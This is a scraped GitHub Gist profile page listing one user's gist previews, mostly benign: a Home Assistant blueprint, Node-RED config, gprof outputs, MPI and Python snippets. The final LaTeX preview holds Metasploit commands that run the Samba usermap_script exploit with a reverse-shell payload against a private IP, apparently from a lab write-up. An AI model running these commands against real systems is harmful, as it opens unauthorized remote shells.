Skip to content

Instantly share code, notes, and snippets.

View iAbadia's full-sized avatar
👻
Whooshing

Iñaki iAbadia

👻
Whooshing
View GitHub Profile
@iAbadia
iAbadia / hue_dimmer_switchV2.yaml
Last active March 27, 2024 10:01 — forked from cptkng/hue_dimmer_switchV2.yaml
ZHA - Philips Hue Dimmer Switch - V2 (RWL022)
blueprint:
name: ZHA - Philips Hue Dimmer Switch - V2 (RWL022)
description: |
Control lights with a Philips Hue Dimmer Switch.
The top "on" button behaviour is adjustable. By default it behaves like this:
- Press it while the light is off, and the light will turn on to the last set brightness.
- Press it again while the light is on, the light will turn to the fixed brightness setting.
Dim up/down buttons will change the brightness smoothly and can be pressed
@iAbadia
iAbadia / Karabiner-Elements Chrome Shortcut README
Last active July 10, 2022 11:28
Karabiner-Elements Google Chrome Shortcuts Complex Modifications
Place chrome_shortcuts.json file in ~/.config/karabiner/assets/complex_modifications
@iAbadia
iAbadia / index.html
Created April 29, 2021 00:16
globalShorcut trigger on back quote.
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<!-- https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP -->
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">
<meta http-equiv="X-Content-Security-Policy" content="default-src 'self'; script-src 'self'">
<title>Hello World!</title>
</head>
<body>
@iAbadia
iAbadia / magic-cube.json
Created January 28, 2019 18:47
Magic cube NODE-RED config
[
{
"id": "77b5dd61.4f3574",
"type": "tab",
"label": "Magic Cube Controller",
"disabled": false,
"info": ""
},
{
"id": "50a6a391.4b1f9c",
@iAbadia
iAbadia / Test_compressed_lanczos_hot_start.gprof
Created August 17, 2018 15:02
Test_compressed_lanczos_hot_start gprof output.
Flat profile:
Each sample counts as 0.01 seconds.
% cumulative self self total
time seconds seconds calls ms/call ms/call name
12.12 0.28 0.28 48813 0.01 0.01 Grid::QCD::WilsonFermion5D<Grid::QCD::WilsonImpl<Grid::Grid_simd<std::complex<double>, __Float64x2_t>, Grid::QCD::FundamentalRep<3>, Grid::QCD::CoeffReal> >::MomentumSpacePropagatorHt(Grid::Lattice<Grid::iScalar<Grid::iVector<Grid::iVector<Grid::Grid_simd<std::complex<double>, __Float64x2_t>, 3>, 4> > >&, Grid::Lattice<Grid::iScalar<Grid::iVector<Grid::iVector<Grid::Grid_simd<std::complex<double>, __Float64x2_t>, 3>, 4> > > const&, double)
10.82 0.53 0.25 708 0.35 0.35 _GLOBAL__sub_I__ZN4Grid3QCD5Gamma3gmuE
9.09 0.74 0.21 Grid::QCD::WilsonFermion5D<Grid::QCD::GparityWilsonImpl<Grid::Grid_simd<std::complex<double>, __Float64x2_t>, Grid::QCD::FundamentalRep<3>, Grid::QCD::CoeffReal> >::MomentumSpacePropagatorHt(Grid::Latti
@iAbadia
iAbadia / Benchmark_ITT.gprof
Created August 17, 2018 14:59
Benchmark_ITT gprof output.
Flat profile:
Each sample counts as 0.01 seconds.
% cumulative self self total
time seconds seconds calls s/call s/call name
25.03 722.12 722.12 473465689 0.00 0.00 Grid::QCD::WilsonFermion5D<Grid::QCD::DomainWallVec5dImpl<Grid::Grid_simd<std::complex<double>, __Float64x2_t>, Grid::QCD::FundamentalRep<3>, Grid::QCD::CoeffComplexHalfComms> >::WilsonFermion5D(Grid::Lattice<Grid::iVector<Grid::iScalar<Grid::iMatrix<Grid::Grid_simd<std::complex<double>, __Float64x2_t>, 3> >, 4> >&, Grid::GridCartesian&, Grid::GridRedBlackCartesian&, Grid::GridCartesian&, Grid::GridRedBlackCartesian&, double, Grid::QCD::WilsonImplParams const&)
11.38 1050.49 328.37 32487566 0.00 0.00 Grid::QCD::WilsonKernels<Grid::QCD::WilsonImpl<Grid::Grid_simd<std::complex<float>, __Float32x4_t>, Grid::QCD::FundamentalRep<3>, Grid::QCD::CoeffReal> >::HandDhopSiteInt(Grid::QCD::WilsonStencil<Grid::iScalar<Grid::iVector<Grid::iVector<Grid::Grid_simd<std::complex<float
@iAbadia
iAbadia / magic.py
Created June 6, 2018 20:19
Magic vowels python
vowel = "aeiou"
def vpos(c):
for i in range(5):
if c == vowel[i]:
return i
return -1
@iAbadia
iAbadia / test.c
Created February 26, 2018 16:36
Simple MPI test program
#include <mpi.h>
#include <stdio.h>
int main(int argc, char **argv)
{
MPI_Init(&argc, &argv);
// Get the number of processes
int world_size;
MPI_Comm_size(MPI_COMM_WORLD, &world_size);
@iAbadia
iAbadia / TelegramBotQueryGif
Created September 21, 2017 19:40
query function for telegram bot
def query(self):
url = GIPHY_API + GIPHY_RAND_ENDP + '?'
# Check for API key
if not self.api_key:
logger.warn('GiphyRandomRequest<query()>: No API key provided')
return
# Add API key
url += 'api_key=' + self.api_key + '&'
# Add tag if provided
if self.tag:
\newcommand{\shellcmd}[1]{\\\indent\indent\texttt{\footnotesize\$ #1}}
\begin{center}
\fbox{\begin{minipage}{30em}
\shellcmd{use exploit/multi/samba/usermap\_script}
\shellcmd{set payload cmd/unix/reverse}
\shellcmd{set RHOST 192.168.10.11}
\shellcmd{set RPORT 445}
\shellcmd{set LHOST 192.168.10.10}
\shellcmd{exploit}